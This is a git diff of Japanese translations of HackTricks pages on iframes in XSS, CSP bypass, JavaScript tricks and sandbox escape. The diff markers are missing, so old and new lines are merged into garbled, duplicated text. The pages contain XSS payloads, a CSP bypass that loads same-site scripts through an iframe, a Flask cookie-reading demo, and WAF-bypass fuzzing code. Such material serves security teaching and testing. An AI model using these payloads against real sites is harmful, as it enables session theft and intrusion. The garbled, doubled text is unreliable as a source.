<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>を使って学ぶ!</strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}
## XSSにおけるiframes ## Iframes in XSS
iframesのページの内容を示す方法は3つあります iframedページのコンテンツを示す方法は3つあります
* `src`使用してURLを示すURLはクロスオリジンまたは同一オリジンである可能性があります * `src`してURLを示すURLはクロスオリジンまたは同一オリジンである可能性があります
* `data:`プロトコルを使用してコンテンツを示す`src`を介して * `data:`プロトコルを使用してコンテンツを示す`src`を介して
* コンテンツを示す`srcdoc`を使用して * コンテンツを示す`srcdoc`を介して
**親と子の変数にアクセスする**
```html ```html
<html> <html>
<script> <script>
@ -49,19 +54,17 @@ var secret="child secret";
alert(parent.secret) alert(parent.secret)
</script> </script>
``` ```
### XSSとCSPにおけるiframes もしあなたが前のhtmlにhttpサーバー例えば`python3 -m http.server`を介してアクセスすると、すべてのスクリプトが実行されることに気づくでしょうCSPがそれを防いでいないため。**親はどのiframe内の`secret`変数にもアクセスできません**、そして**if2とif3のiframeのみ同一サイトと見なされるは、元のウィンドウの秘密にアクセスできます**。\
if4が`null`オリジンと見なされることに注意してください。
前のHTMLにHTTPサーバー経由でアクセスすると`python3 -m http.server`のように、すべてのスクリプトが実行されることがわかりますCSPがそれを防いでいないため。**親は任意のiframe内の`secret`変数にアクセスできない**ことに注意し、**元のウィンドウ内の秘密にアクセスできるのはif2とif3のみ同一サイトと見なされる**です。\ ### CSPを持つIframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
if4が`null`オリジンであると見なされることに注目してください。
### CSP付きのiframes
{% hint style="info" %} {% hint style="info" %}
次のバイパスで、iframedページへの応答にJSの実行を防ぐCSPヘッダーが含まれていないことに注意してください。 次のバイパスでは、iframedページへのレスポンスにJS実行を防ぐCSPヘッダーが含まれていないことに注意してください。
{% endhint %} {% endhint %}
`script-src`の`self`値は、`data:`プロトコルや`srcdoc`属性を使用しJSコードの実行を許可しません。\ `script-src`の`self`値は、`data:`プロトコルや`srcdoc`属性を使用しJSコードの実行を許可しません。\
ただし、CSPの`none`値でも、`src`属性にURL完全なURLまたはパスのみを設定するiframeの実行を許可します。\ しかし、CSPの`none`値でさえ、`src`属性にURL完全なものまたは単にパスを指定したiframeの実行を許可します。\
したがって、次のようにページのCSPをバイパスすることが可能です したがって、次のようにページのCSPをバイパスすることが可能です
```html ```html
<html> <html>
@ -77,14 +80,14 @@ var secret = "31337s3cr37t";
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe> <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html> </html>
``` ```
注意**前のCSPはインラインスクリプトの実行のみを許可しています**。\ 注意してください、**前のCSPはインラインスクリプトの実行のみを許可しています**。\
ただし、**`if1`と`if2`スクリプトのみが実行されますが、`if1`のみが親の秘密にアクセスできます**。 しかし、**`if1`と`if2`のスクリプトのみが実行されますが、`if1`のみが親の秘密にアクセスできるでしょう**。
![](<../../.gitbook/assets/image (372).png>) ![](<../../.gitbook/assets/image (372).png>)
したがって、**サーバーにJSファイルをアップロードしてiframe経由でロードできる場合、`script-src 'none'`でCSPをバイパスすることが可能**です。これは**同一サイトのJSONPエンドポイントを悪用して行うこともできます**。 したがって、**`script-src 'none'`であっても、サーバーにJSファイルをアップロードし、iframeを介して読み込むことができればCSPをバイパスすることが可能です**。これは**同じサイトのJSONPエンドポイントを悪用することで実行される可能性もあります**。
次のシナリオでこれをテストできます。`script-src 'none'`でもクッキーが盗まれる可能性があります。アプリケーションを実行し、ブラウザでアクセスしてください: 次のシナリオでテストできます。ここでは、`script-src 'none'`であってもクッキーが盗まれます。アプリケーションを実行し、ブラウザでアクセスしてください:
```python ```python
import flask import flask
from flask import Flask from flask import Flask
@ -104,7 +107,7 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__": if __name__ == "__main__":
app.run() app.run()
``` ```
### 野生で見つかった他のペイロード <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a> ### その他のペイロードが発見された <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
```html ```html
<!-- This one requires the data: scheme to be allowed --> <!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe> <iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
@ -115,26 +118,26 @@ app.run()
``` ```
### Iframe sandbox ### Iframe sandbox
iframe内のコンテンツは、`sandbox`属性を使用して追加の制限を受ける可能性があります。デフォルトでは、この属性は適用されず、制限はありません。 iframe内のコンテンツは、`sandbox`属性を使用することで追加の制限を受けることがあります。デフォルトでは、この属性は適用されず、制限はありません。
`sandbox`属性を使用すると、いくつかの制限が課せられます: 使用されると、`sandbox`属性はいくつかの制限を課します:
- コンテンツは一意のソースから発信されたものとして扱われます。 * コンテンツは、ユニークなソースからのものであるかのように扱われます。
- フォームの送信を試みるとブロックされます。 * フォームの送信を試みることはブロックされます。
- スクリプトの実行が禁止されます。 * スクリプトの実行は禁止されます。
- 特定のAPIへのアクセスが無効になります。 * 特定のAPIへのアクセスが無効になります。
- リンクが他のブラウジングコンテキストとやり取りするのを防ぎます。 * リンクが他のブラウジングコンテキストと相互作用することを防ぎます。
- `<embed>`、`<object>`、`<applet>`などのタグを介したプラグインの使用が禁止されます。 * `<embed>`、`<object>`、`<applet>`、または類似のタグを介したプラグインの使用が禁止されます。
- コンテンツ自体によるトップレベルブラウジングコンテキストのナビゲーションが防止されます。 * コンテンツ自体によるコンテンツのトップレベルブラウジングコンテキストのナビゲーションが防止されます。
- 動画再生やフォームコントロールの自動フォーカスなど、自動的にトリガーされる機能がブロックされます。 * 自動的にトリガーされる機能、例えばビデオ再生やフォームコントロールの自動フォーカスがブロックされます。
属性の値は空にしておくこともできます (`sandbox=""`) これにより、前述の制限がすべて適用されます。代わりに、特定の値のスペース区切りリストに設定して、特定の制限からiframeを除外することもできます。 属性の値は空のまま(`sandbox=""`にして、前述のすべての制限を適用できます。あるいは、iframeが特定の制限から免除されるように、スペースで区切られた特定の値のリストに設定することもできます。
```html ```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe> <iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
``` ```
## SOP同一生成元ポリシー内のiframes ## SOPにおけるIframes
以下のページをチェックしてください: 以下のページを確認してください:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} {% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md) [bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
@ -151,3 +154,18 @@ iframe内のコンテンツは、`sandbox`属性を使用して追加の制限
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} {% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md) [steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,31 +1,37 @@
# 整数オーバーフロー # 整数オーバーフロー
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングテクニックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}
Check: 確認してください:
{% content-ref url="../../binary-exploitation/integer-overflow.md" %} {% content-ref url="../../binary-exploitation/integer-overflow.md" %}
[integer-overflow.md](../../binary-exploitation/integer-overflow.md) [integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングテクニックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# その他のJSトリック関連情報 # Misc JS Tricks & Relevant Info
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}
## Javascript Fuzzing ## Javascript Fuzzing
@ -87,7 +90,7 @@ console.log(`[${err}]`,j,cmd);
} }
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
``` ```
### 関数呼び出しでの有効なJSスペース ### 有効なJSスペースの関数呼び出し
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.
@ -121,7 +124,7 @@ console.log(log) //34,39,47,96
``` ```
### **サロゲートペア BF** ### **サロゲートペア BF**
このテクニックはXSSにはあまり役立ちませんが、WAFの保護をバイパスするのに役立つかもしれません。このPythonコードは2バイトを入力として受け取り、最初のバイトがハイサロゲートペアの最後のバイトであり、最後のバイトがローサロゲートペアの最後のバイトであるサロゲートペアを検索します。 この技術はXSSにはあまり役に立ちませんが、WAFの保護を回避するのには役立つかもしれません。このPythonコードは2バイトを入力として受け取り、最初のバイトがハイサロゲートペアの最後のバイトであり、最後のバイトがローサロゲートペアの最後のバイトであるサロゲートペアを検索します。
```python ```python
def unicode(findHex): def unicode(findHex):
for i in range(0,0xFFFFF): for i in range(0,0xFFFFF):
@ -132,11 +135,6 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]): if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u")) print(H.replace("0x","\\u")+L.replace("0x","\\u"))
``` ```
詳細:
* [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
* [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
### `javascript{}:` プロトコルファジング ### `javascript{}:` プロトコルファジング
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
@ -160,7 +158,7 @@ document.body.append(anchor)
// Another way to test // Another way to test
<a href="&#12;javascript:alert(1337)">Test</a> <a href="&#12;javascript:alert(1337)">Test</a>
``` ```
### URL ファジング ### URLファジング
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition.
@ -208,12 +206,12 @@ Portswiggerのツール**Hackability inspector**は、javascriptオブジェク
## **.map jsファイル** ## **.map jsファイル**
* .map jsファイルをダウンロードするトリック: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7) * .map jsファイルをダウンロードするためのトリック: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
* これらのファイルを分析するためにこのツールを使用できます [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji) * これらのファイルを分析するためにこのツールを使用できます [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
## "--" 代入 ## "--" 代入
デクリメント演算子`--`は、代入でもあります。この演算子は値を取り、それを1つ減らします。その値が数値でない場合、`NaN`に設定されます。これは、**環境から変数の内容を削除**するために使用できます。 減算演算子`--`は、代入でもあります。この演算子は値を取り、その値を1減算します。その値が数値でない場合、`NaN`に設定されます。これは、**環境から変数の内容を削除する**ために使用できます。
![](<../../.gitbook/assets/image (993).png>) ![](<../../.gitbook/assets/image (993).png>)
@ -221,10 +219,10 @@ Portswiggerのツール**Hackability inspector**は、javascriptオブジェク
## 関数のトリック ## 関数のトリック
### .call .apply ### .callと.apply
関数の**`.call`**メソッドは、**関数を実行**するために使用されます。\ 関数の**`.call`**メソッドは、**関数を実行する**ために使用されます。\
**デフォルトで期待される最初の引数**は**`this`の値**であり、**何も**指定されていない場合、その値は**`window`**になります(**`strict mode`**が使用されていない限り)。 デフォルトで期待される**最初の引数**は**`this`の値**であり、**何も**提供されない場合、**`window`**がその値になります(**`strict mode`**が使用されていない限り)。
```javascript ```javascript
function test_call(){ function test_call(){
console.log(this.value); //baz console.log(this.value); //baz
@ -255,9 +253,9 @@ console.log(this); //[object Window]
} }
test_apply.apply(null, ["arg1", "arg2"]) test_apply.apply(null, ["arg1", "arg2"])
``` ```
### Arrow functions ### アロー関数
Arrow functionsは、1行で関数をより簡単に生成できるようにします理解している場合)。 アロー関数を使用すると、1行で関数をより簡単に生成できます理解していれば)。
```javascript ```javascript
// Traditional // Traditional
function (a){ return a + 1; } function (a){ return a + 1; }
@ -280,7 +278,7 @@ let a = 4;
let b = 2; let b = 2;
() => a + b + 1; () => a + b + 1;
``` ```
したのほとんどの関数は実際には無用です。なぜなら、それらを保存して呼び出す場所がないからです。`plusone` 関数を作成する例: だから、以前の関数のほとんどは実際には無駄です。なぜなら、それらを保存して呼び出す場所がないからです。`plusone`関数を作成する例:
```javascript ```javascript
// Traductional // Traductional
function plusone (a){ return a + 1; } function plusone (a){ return a + 1; }
@ -288,9 +286,9 @@ function plusone (a){ return a + 1; }
//Arrow //Arrow
plusone = a => a + 100; plusone = a => a + 100;
``` ```
### バインド関数 ### Bind function
バインド関数は、与えられた**`this`**オブジェクトと**パラメータ**を変更した**関数のコピー**を作成することができます。 bind関数は、**`this`**オブジェクトと与えられた**パラメータ**を変更する**関数のコピー**を作成することを可能にします。
```javascript ```javascript
//This will use the this object and print "Hello World" //This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) { var fn = function ( param1, param2 ) {
@ -315,12 +313,12 @@ var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World') bindFn_change('Hello', 'World')
``` ```
{% hint style="info" %} {% hint style="info" %}
**`bind`**を使用すると、関数を呼び出す際に使用される**`this`**オブジェクトを操作できます **`bind`** を使用すると、関数を呼び出すときに使用される **`this`** オブジェクトを操作できることに注意してください
{% endhint %} {% endhint %}
### 関数コードの漏洩 ### 関数コードの漏洩
関数のオブジェクトにアクセスできる場合、その関数のコードを取得できます。 関数の **オブジェクトにアクセス** できる場合、その関数の **コードを取得** できます。
```javascript ```javascript
function afunc(){ function afunc(){
return 1+1; return 1+1;
@ -330,12 +328,12 @@ console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function console.log(global.afunc.toString()); //This will print the code of the function
``` ```
次のような場合、**関数に名前がない**場合でも、内部から**関数コード**を出力できます: 名前のない**function**の場合でも、内部から**function code**を印刷することができます:
```javascript ```javascript
(function (){ return arguments.callee.toString(); })() (function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0") (function (){ return arguments[0]; })("arg0")
``` ```
いくつかの**ランダム**な方法は、別の関数から関数のコード(コメントも含む)を**抽出**することができます: いくつかの**ランダム**な方法で、別の関数から**コードを抽出する**(コメントも含む):
```javascript ```javascript
(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})() (function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})() (function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
@ -343,9 +341,9 @@ console.log(global.afunc.toString()); //This will print the code of the function
(u=>(String(u)))(_=>{ /* Hidden commment */ }) (u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })() (u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()
``` ```
## サンドボックス脱出 - windowオブジェクトの回復 ## サンドボックスエスケープ - windowオブジェクトの回復
Windowオブジェクトを使用すると、alertやevalなどのグローバルに定義された関数にアクセスできます。 Windowオブジェクトは、alertやevalのようなグローバルに定義された関数にアクセスすることを可能にします。
{% code overflow="wrap" %} {% code overflow="wrap" %}
```javascript ```javascript
@ -470,14 +468,17 @@ await sleep(1000);
await browser.close(); await browser.close();
})(); })();
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,65 +1,83 @@
# SOME - 同一オリジンメソッド実行 # SOME - Same Origin Method Execution
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
